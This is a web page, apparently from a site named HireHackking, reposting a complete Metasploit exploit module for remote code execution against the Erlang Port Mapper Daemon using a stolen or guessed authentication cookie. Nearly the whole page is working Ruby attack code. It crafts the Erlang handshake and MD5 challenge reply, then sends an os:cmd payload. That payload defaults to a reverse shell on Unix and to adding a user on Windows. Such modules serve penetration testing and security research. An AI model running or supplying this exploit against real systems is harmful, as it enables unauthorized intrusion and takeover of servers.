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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Erlang Port Mapper Daemon Cookie RCE',
        'Description'    => %q{
          The erlang port mapper daemon is used to coordinate distributed erlang instances.
          Should an attacker get the authentication cookie RCE is trivial. Usually, this
          cookie is named ".erlang.cookie" and varies on location.
        },
        'Author'         =>
          [
            'Daniel Mende',              # blog post article
            'Milton Valencia (wetw0rk)', # metasploit module
          ],
        'References'     =>
          [
            ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => ['unix', 'win'],
        'Arch'           => ARCH_CMD,
        'Privileged'     => 'false',
        'Targets'        =>
          [
            [ 'Unix',
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            ],
            [ 'Windows',
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'},
            ]
          ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)
      )
    )

    register_options(
      [
        OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
        Opt::RPORT(25672)
      ])
  end

  def generate_challenge_digest(challenge)
    challenge = challenge.unpack('H*')[0].to_i(16).to_s

    hash = Digest::MD5.new
    hash.update(datastore['COOKIE'])
    hash.update(challenge)

    vprint_status("MD5 digest generated: #{hash.hexdigest}")
    return [hash.hexdigest].pack('H*')
  end

  def exploit
    connect

    our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"

    # SEND_NAME: send initial identification of who "we" are
    send_name =  "\x00"                                     # Length: 0x0000
    send_name << [(our_node.length+7).to_s(16)].pack('H*')  #
    send_name << "\x6e"                                     # Tag: n
    send_name << "\x00\x05"                                 # Version: R6 (5)
    send_name << "\x00\x03\x49\x9c"                         # Flags (0x0003499c)
    send_name << "#{our_node}"                              # <generated>@<generated>

    # SEND_CHALLENGE_REPLY: return generated digest and its own challenge
    send_challenge_reply =  "\x00\x15"  # Length: 21
    send_challenge_reply << "\x72"      # Tag: r

    # SEND: send the message to the node
    send =  "\x00\x00\x00"                                                        # Length:0x00000000
    send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') #
    send << "\x70"                                                                #
    send << "\x83"                                                                # VERSION_MAGIC
    send << "\x68"                                                                # SMALL_TUPLE_EXT (104)
    send << "\x04"                                                                #   Arity: 4
    send << "\x61"                                                                #     SMALL_INTEGER_EXT
    send << "\x06"                                                                #       Int: 6
    send << "\x67"                                                                #     PID_EXT (103)
    send << "\x64\x00"                                                            #       Node:
    send << [(our_node.length).to_s(16)].pack('H*')                               #         Length: strlen(Node)
    send << "#{our_node}"                                                         #         Node
    send << "\x00\x00\x00\x03"                                                    #       ID
    send << "\x00\x00\x00\x00"                                                    #       Serial
    send << "\x00"                                                                #       Creation
    send << "\x64"                                                                #     InternalSegmentIndex
    send << "\x00\x00"                                                            #       Len: 0x0000
    send << "\x64"                                                                #     InternalSegmentIndex
    send << "\x00\x03"                                                            #       Length: 3
    send << "rex"                                                                 #       AtomText: rex
    send << "\x83\x68\x02\x67\x64\x00"                                            #
    send << [(our_node.length).to_s(16)].pack('H*')                               # Length: strlen(Node)
    send << "#{our_node}"                                                         # Node
    send << "\x00\x00\x00\x03"                                                    # ID
    send << "\x00\x00\x00\x00"                                                    # Serial
    send << "\x00"                                                                # Creation
    send << "\x68"                                                                # SMALL_TUPLE_EXT (104)
    send << "\x05"                                                                #   Arity: 5
    send << "\x64"                                                                #     InternalSegmentIndex
    send << "\x00\x04"                                                            #       Length: 4
    send << "call"                                                                #       AtomText: call
    send << "\x64"                                                                #     InternalSegmentIndex
    send << "\x00\x02"                                                            #       Length: 2
    send << "os"                                                                  #       AtomText: os
    send << "\x64"                                                                #     InternalSegmentIndex
    send << "\x00\x03"                                                            #       Length: 3
    send << "cmd"                                                                 #       AtomText: cmd
    send << "\x6c"                                                                #     LIST_EXT
    send << "\x00\x00\x00\x01"                                                    #       Length: 1
    send << "\x6b"                                                                #       Elements: k
    send << "\x00"                                                                #       Tail
    send << [(payload.raw.length).to_s(16)].pack('H*')                            # strlen(Command)
    send << payload.raw                                                           # Command
    send << "\x6a"                                                                # NIL_EXT
    send << "\x64"                                                                # InternalSegmentIndex
    send << "\x00\x04"                                                            #   Length: 4
    send << "user"                                                                #   AtomText: user

    sock.put(send_name)

    # recieve servers "SEND_CHALLENGE" token (4 bytes)
    print_status("Receiving server challenge")
    challenge = sock.get
    challenge = challenge[14,4]

    send_challenge_reply << challenge
    send_challenge_reply << generate_challenge_digest(challenge)

    print_status("Sending challenge reply")
    sock.put(send_challenge_reply)

    if sock.get.length < 1
      fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
    end

    print_good("Authentication successful, sending payload")
    sock.put(send)
  end
end